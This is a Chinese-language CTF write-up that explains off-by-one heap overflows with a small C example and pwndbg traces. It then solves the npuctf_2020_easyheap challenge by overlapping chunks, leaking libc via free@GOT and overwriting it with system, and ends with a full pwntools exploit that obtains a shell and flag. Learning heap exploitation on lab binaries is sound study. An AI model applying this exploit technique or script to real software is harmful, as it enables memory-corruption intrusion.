当前位置: 首页 > news >正文

npuctf_2020_easyheap----off-by-one

Off-by-One 漏洞分析与利用

概述

在刷 BUU 题目时遇到了两道 off-by-one 题目,这里记录一下学习过程。off-by-one 漏洞主要分为两种情况:

off-by-one:单字节溢出,且该字节可控
off-by-null:单字节溢出,但只能溢出 \x00

这两次遇到的都是 off-by-one,一般做法是利用溢出的字节修改 chunk 的 size 位,从而造成堆块重叠。
基础 Off-by-One 分析

假设存在以下代码:

#include<stdio.h>
#include<stdlib.h>
#include<string.h>int main(){char *ptr1 = malloc(0x10);char *ptr2 = malloc(0x10);read(0,ptr1,0x10+1);free(ptr1);free(ptr2);ptr1 = 0;ptr2 = 0;return 0;
}

在第 8 行:read(0,ptr1,0x10+1); 可以多读取一个字节,导致单字节溢出。
调试过程

assemblypwndbg> disas main
Dump of assembler code for function main:0x0000000000401176 <+0>:     endbr640x000000000040117a <+4>:     push   rbp0x000000000040117b <+5>:     mov    rbp,rsp0x000000000040117e <+8>:     sub    rsp,0x100x0000000000401182 <+12>:    mov    edi,0x100x0000000000401187 <+17>:    call   0x401080 <malloc@plt>0x000000000040118c <+22>:    mov    QWORD PTR [rbp-0x8],rax0x0000000000401190 <+26>:    mov    edi,0x100x0000000000401195 <+31>:    call   0x401080 <malloc@plt>0x000000000040119a <+36>:    mov    QWORD PTR [rbp-0x10],rax0x000000000040119e <+40>:    mov    rax,QWORD PTR [rbp-0x8]0x00000000004011a2 <+44>:    mov    edx,0x110x00000000004011a7 <+49>:    mov    rsi,rax0x00000000004011aa <+52>:    mov    edi,0x00x00000000004011af <+57>:    mov    eax,0x00x00000000004011b4 <+62>:    call   0x401070 <read@plt>0x00000000004011b9 <+67>:    mov    rax,QWORD PTR [rbp-0x8]0x00000000004011bd <+71>:    mov    rdi,rax0x00000000004011c0 <+74>:    call   0x401060 <free@plt>0x00000000004011c5 <+79>:    mov    rax,QWORD PTR [rbp-0x10]0x00000000004011c9 <+83>:    mov    rdi,rax0x00000000004011cc <+86>:    call   0x401060 <free@plt>0x00000000004011d1 <+91>:    mov    QWORD PTR [rbp-0x8],0x00x00000000004011d9 <+99>:    mov    QWORD PTR [rbp-0x10],0x00x00000000004011e1 <+107>:   mov    eax,0x00x00000000004011e6 <+112>:   leave0x00000000004011e7 <+113>:   ret
End of assembler dump

将断点下在 0x00000000004011b4 查看 chunk:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x290 (with flag bits: 0x291)Allocated chunk | PREV_INUSE
Addr: 0x405290
Size: 0x20 (with flag bits: 0x21)Allocated chunk | PREV_INUSE
Addr: 0x4052b0
Size: 0x20 (with flag bits: 0x21)Top chunk | PREV_INUSE
Addr: 0x4052d0
Size: 0x20d30 (with flag bits: 0x20d31)====================== vis =================================
0x405290        0x0000000000000000      0x0000000000000021      ........!.......
0x4052a0        0x0000000000000000      0x0000000000000000      ................
0x4052b0        0x0000000000000000      0x0000000000000021      ........!.......
0x4052c0        0x0000000000000000      0x0000000000000000      ................

输入之前的状态,输入之后:

pwndbg> cyclic 16
aaaaaaaabaaaaaaa
pwndbg> ni
aaaaaaaabaaaaaaaq  # 多输入了一个 q============== vis =======================
0x405290        0x0000000000000000      0x0000000000000021      ........!.......
0x4052a0        0x6161616161616161      0x6161616161616162      aaaaaaaabaaaaaaa
0x4052b0        0x0000000000000071      0x0000000000000021      q.......!.......
0x4052c0        0x0000000000000000      0x0000000000000000      ................

发现将 q 输入到了 chunk2 的 prev_size 字段,这是一个有用的溢出,但"杀伤力"有限。
利用 Off-by-One 修改 Size

如果能够将输入覆盖到 chunk 的 size 位,就可以修改 size 进而造成 chunk 重叠。

在堆机制中,当我们申请一个不被 0x10 整除的 chunk(64位),比如 0x18,会把下一个 chunk 的 prev_size 复用,作为当前 chunk 的 data 段来填写数据。

将源代码修改为:
c

char *ptr1 = malloc(0x18);
read(0,ptr1,0x18+1);

再次调试:

pwndbg> b *0x00000000004011b4
Breakpoint 2 at 0x4011b4
pwndbg> c============= heap ===========
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x290 (with flag bits: 0x291)Allocated chunk | PREV_INUSE
Addr: 0x405290
Size: 0x20 (with flag bits: 0x21)Allocated chunk | PREV_INUSE
Addr: 0x4052b0
Size: 0x20 (with flag bits: 0x21)Top chunk | PREV_INUSE
Addr: 0x4052d0
Size: 0x20d30 (with flag bits: 0x20d31)============= vis ============
0x405290        0x0000000000000000      0x0000000000000021      ........!.......
0x4052a0        0x0000000000000000      0x0000000000000000      ................
0x4052b0        0x0000000000000000      0x0000000000000021      ........!.......
0x4052c0        0x0000000000000000      0x0000000000000000      ................

输入:

pwndbg> cyclic 24
aaaaaaaabaaaaaaacaaaaaaa
pwndbg> ni
aaaaaaaabaaaaaaacaaaaaaaq========== vis =================
0x405290        0x0000000000000000      0x0000000000000021      ........!.......
0x4052a0        0x6161616161616161      0x6161616161616162      aaaaaaaabaaaaaaa
0x4052b0        0x6161616161616163      0x0000000000000071      caaaaaaaq.......
0x4052c0        0x0000000000000000      0x0000000000000000      ................

可以看到,这里把 size 修改成了 q 的 ASCII 值,轻松造成了 chunk overlap。

CTF 实例分析:npuctf_2020_easyheap

环境准备

bash❯ pwninit npuctf_2020_easyheap
[INFO] 当前已在虚拟环境中: ctf
[INFO] 给二进制文件添加执行权限...
[SUCCESS] 权限添加成功: npuctf_2020_easyheap[INFO] 检查二进制文件保护:
==================================[*] '/mnt/d/pwn/PROJECT/BUUCTF/npuctf_2020_easyheap_/npuctf_2020_easyheap'Arch:       amd64-64-littleRELRO:      Partial RELROStack:      Canary foundNX:         NX enabledPIE:        No PIE (0x400000)Stripped:   No
==================================仅开启 Canary 和 NX,题目提示是 Ubuntu 18.04,使用 libc 2.27:
bash❯ clibc npuctf_2020_easyheap 2.27
Creating backup: npuctf_2020_easyheap.bak
Available glibc versions:1. 2.27-3ubuntu1.5_amd642. 2.27-3ubuntu1.6_amd643. 2.27-3ubuntu1_amd64Select (1-3): 3Success: Patched npuctf_2020_easyheap with 2.27-3ubuntu1_amd64

程序分析

Create 函数
unsigned __int64 create()
{__int64 v0; // rbxint i; // [rsp+4h] [rbp-2Ch]size_t size; // [rsp+8h] [rbp-28h]char buf[8]; // [rsp+10h] [rbp-20h] BYREFunsigned __int64 v5; // [rsp+18h] [rbp-18h]v5 = __readfsqword(0x28u);for ( i = 0; i <= 9; ++i ){if ( !*((_QWORD *)&heaparray + i) ){*((_QWORD *)&heaparray + i) = malloc(0x10uLL);if ( !*((_QWORD *)&heaparray + i) ){puts("Allocate Error");exit(1);}printf("Size of Heap(0x10 or 0x20 only) : ");read(0, buf, 8uLL);size = atoi(buf);if ( size != 24 && size != 56 )exit(-1);v0 = *((_QWORD *)&heaparray + i);*(_QWORD *)(v0 + 8) = malloc(size);if ( !*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL) ){puts("Allocate Error");exit(2);}**((_QWORD **)&heaparray + i) = size;printf("Content:");read_input(*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL), size);puts("Done!");return __readfsqword(0x28u) ^ v5;}}return __readfsqword(0x28u) ^ v5;
}

创建一个 0x10 大小的 chunk,用于存放 size 和 content_addr 信息。
Edit 函数

unsigned __int64 edit()
{int v1; // [rsp+0h] [rbp-10h]char buf[4]; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v3; // [rsp+8h] [rbp-8h]v3 = __readfsqword(0x28u);printf("Index :");read(0, buf, 4uLL);v1 = atoi(buf);if ( (unsigned int)v1 >= 0xA ){puts("Out of bound!");_exit(0);}if ( *((_QWORD *)&heaparray + v1) ){printf("Content: ");read_input(*(_QWORD *)(*((_QWORD *)&heaparray + v1) + 8LL), **((_QWORD **)&heaparray + v1) + 1LL);// 注意:这里把 size 取出来之后还 +1 了,存在 off-by-one 漏洞puts("Done!");}else{puts("How Dare you!");}return __readfsqword(0x28u) ^ v3;
}

Show 函数

unsigned __int64 show()
{int v1; // [rsp+0h] [rbp-10h]char buf[4]; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v3; // [rsp+8h] [rbp-8h]v3 = __readfsqword(0x28u);printf("Index :");read(0, buf, 4uLL);v1 = atoi(buf);if ( (unsigned int)v1 >= 0xA ){puts("Out of bound!");_exit(0);}if ( *((_QWORD *)&heaparray + v1) ){printf("Size : %ld\nContent : %s\n",**((_QWORD **)&heaparray + v1),*(const char **)(*((_QWORD *)&heaparray + v1) + 8LL));// 这里会把原来程序创建出来存放数据的 chunk 的 content_addr 的内容打印出来puts("Done!");}else{puts("How Dare you!");}return __readfsqword(0x28u) ^ v3;
}

漏洞利用思路

利用 off-by-one 造成 chunk overlap利用 show 函数泄漏 libc(通过修改 content_addr 为 free@GOT)计算 libc 基地址和 system 地址修改 free@GOT 为 system删除包含 "/bin/sh" 的 chunk 获取 shell

利用过程
步骤 1:创建三个 chunk
python

def exp():add(24, b'source')add(24, b'aaaa')add(24, b'bbbb')

堆布局:
text

[+] ============ HEAP ============[+]
Allocated chunk | PREV_INUSE
Addr: 0x3c533000
Size: 0x250 (with flag bits: 0x251)Allocated chunk | PREV_INUSE
Addr: 0x3c533250
Size: 0x20 (with flag bits: 0x21)Allocated chunk | PREV_INUSE
Addr: 0x3c533270
Size: 0x20 (with flag bits: 0x21)Allocated chunk | PREV_INUSE
Addr: 0x3c533290
Size: 0x20 (with flag bits: 0x21)Allocated chunk | PREV_INUSE
Addr: 0x3c5332b0
Size: 0x20 (with flag bits: 0x21)Allocated chunk | PREV_INUSE
Addr: 0x3c5332d0
Size: 0x20 (with flag bits: 0x21)Allocated chunk | PREV_INUSE
Addr: 0x3c5332f0
Size: 0x20 (with flag bits: 0x21)Top chunk | PREV_INUSE
Addr: 0x3c533310
Size: 0x20cf0 (with flag bits: 0x20cf1)[+] ============= VIS ==============[+]
0x3c533250	0x0000000000000000	0x0000000000000021	........!.......
0x3c533260	0x0000000000000018	0x000000003c533280	.........2S<....
0x3c533270	0x0000000000000000	0x0000000000000021	........!.......
0x3c533280	0x000a656372756f73	0x0000000000000000	source..........
0x3c533290	0x0000000000000000	0x0000000000000021	........!.......
0x3c5332a0	0x0000000000000018	0x000000003c5332c0	.........2S<....
0x3c5332b0	0x0000000000000000	0x0000000000000021	........!.......
0x3c5332c0	0x0000000a61616161	0x0000000000000000	aaaa............
0x3c5332d0	0x0000000000000000	0x0000000000000021	........!.......
0x3c5332e0	0x0000000000000018	0x000000003c533300	.........3S<....
0x3c5332f0	0x0000000000000000	0x0000000000000021	........!.......
0x3c533300	0x0000000a62626262	0x0000000000000000	bbbb............
0x3c533310	0x0000000000000000	0x0000000000020cf1	................ <-- Top chunk

步骤 2:修改 chunk0 造成溢出

pythonedit(0, b'/bin/sh\x00' + p64(0)*2 + p8(0x41))修改后的堆布局:
text[+] =================== VIS ============= [+]
0x26bae250	0x0000000000000000	0x0000000000000021	........!.......
0x26bae260	0x0000000000000018	0x0000000026bae280	...........&....
0x26bae270	0x0000000000000000	0x0000000000000021	........!.......
0x26bae280	0x0068732f6e69622f	0x0000000000000000	/bin/sh.........
0x26bae290	0x0000000000000000	0x0000000000000041	........A.......
0x26bae2a0	0x0000000000000018	0x0000000026bae2c0	...........&....
0x26bae2b0	0x0000000000000000	0x0000000000000021	........!.......
0x26bae2c0	0x0000000a61616161	0x0000000000000000	aaaa............
0x26bae2d0	0x0000000000000000	0x0000000000000021	........!.......
0x26bae2e0	0x0000000000000018	0x0000000026bae300	...........&....
0x26bae2f0	0x0000000000000000	0x0000000000000021	........!.......
0x26bae300	0x0000000a62626262	0x0000000000000000	bbbb............
0x26bae310	0x0000000000000000	0x0000000000020cf1	................ <-- Top chunk

现在 head_chunk1 的 size 变成了 0x41,包含了 chunk1 的整个区域。
步骤 3:删除并重新申请 chunk1
python

delete(1)
add(56, p64(0)*3 + p64(0x21) + p64(0x38) + p64(free_got))

修改后的堆布局:

text[+] ============= VIS ============ [+]
0x26748250	0x0000000000000000	0x0000000000000021	........!.......
0x26748260	0x0000000000000018	0x0000000026748280	..........t&....
0x26748270	0x0000000000000000	0x0000000000000021	........!.......
0x26748280	0x0068732f6e69622f	0x0000000000000000	/bin/sh.........
0x26748290	0x0000000000000000	0x0000000000000041	........A.......
0x267482a0	0x0000000000000000	0x0000000000000000	................
0x267482b0	0x0000000000000000	0x0000000000000021	........!.......
0x267482c0	0x0000000000000038	0x0000000000602018	8........ `.....
0x267482d0	0x000000000000000a	0x0000000000000021	........!.......
0x267482e0	0x0000000000000018	0x0000000026748300	..........t&....
0x267482f0	0x0000000000000000	0x0000000000000021	........!.......
0x26748300	0x0000000a62626262	0x0000000000000000	bbbb............
0x26748310	0x0000000000000000	0x0000000000020cf1	................ <-- Top chunk成功将 content_addr 修改为 free@GOT。

步骤 4:泄漏 libc 并计算地址

pythonshow(1)
libc_base = uu64(ru(b'\x7f')[-6:]) - libc.sym.free
system = libc_base + libc.sym.system

步骤 5:修改 free@GOT 并触发

pythonedit(1, p64(system))
delete(0)  # 此时 free("/bin/sh") 变为 system("/bin/sh")

完整 EXP

python#!/usr/bin/env python3
from pwn import *context(os='linux', arch='amd64', log_level='debug')
binary = "npuctf_2020_easyheap"if args.get("REMOTE"):io = remote("127.0.0.1", 8080)
else:io = process(binary)elf = ELF(binary)
libc = ELF("/home/source/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")def add(size, content):sla('Your choice :', '1')sla('Size of Heap(0x10 or 0x20 only) : ', str(size))sla('Content:', content)def delete(idx):sla('Your choice :', '4')sla('Index :', str(idx))def show(idx):sla('Your choice :', '3')sla('Index :', str(idx))def edit(idx, content):sla('Your choice :', '2')sla('Index :', str(idx))sla("Content: ", content)def exp():free_got = elf.got.freeadd(24, b'source')add(24, b'aaaa')add(24, b'bbbb')edit(0, b'/bin/sh\x00' + p64(0)*2 + p8(0x41))delete(1)add(56, p64(0)*3 + p64(0x21) + p64(0x38) + p64(free_got))show(1)libc_base = uu64(ru(b'\x7f')[-6:]) - libc.sym.freesystem = libc_base + libc.sym.systemedit(1, p64(system))delete(0)exp()
itr()

并且最终成功拿到flag

bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
[DEBUG] Received 0x2b bytes:b'flag{3aed5904-6a30-4f3e-860d-cc94749bdae9}\n'
flag{3aed5904-6a30-4f3e-860d-cc94749bdae9}
$
http://www.hskmm.com/?act=detail&tid=39125

相关文章:

  • 251025B. 海啸
  • 用户上下文透传机制详解
  • 品牌故事不会写?这个AI指令可能帮你解决大问题
  • WebSocket
  • JWT令牌
  • 电梯调度编程结对项目总结
  • GuessGame两个版本的区别
  • 第二次作业--田佳吉
  • 电脑频繁卡顿?4个CMD命令揪出后台隐藏进程
  • 2025_软件工程师课程辅导
  • Graphiti:为智能体构建实时知识图谱,引领更聪明的 AI 时代
  • 《《《es相关
  • 人资新手必看,企业绩效的意义
  • 题解:P14309 【MX-S8-T2】配对
  • HuggingFace 库使用小技巧
  • 启动分布式mapreduce的过程以及prompt
  • 【ArcMap】复制选中的线并将其上移一段距离
  • 题解:AT_apc001_h Generalized Insertion Sort
  • 记一次thinkphp3.2项目迁移失败的原因。 is currently unable to handle this request. HTTP ERROR 500
  • 20232310 2025-2026-1 《网络与系统攻防技术》实验三实验报告
  • [SWPUCTF 2024 秋季新生赛]http标头 WP
  • 20251025 之所思 - 人生如梦
  • Jerrum–Sinclair 全有或全无定理
  • 一种解决所有 OI 问题的算法:Dream 算法
  • CobaltStrike流量分析
  • 【论文阅读】ASPS: Augmented Segment Anything Model for Polyp Segmentation - 指南
  • RuoYi-Cloud 认证实现
  • 初步学习计算机相关知识有感 - fang
  • 2025年自动上料机厂家权威推荐榜:螺旋上料机/真空上料机/粉末上料机,高效输送系统精准选型指南
  • 用代码将txt分别转换成列表和字典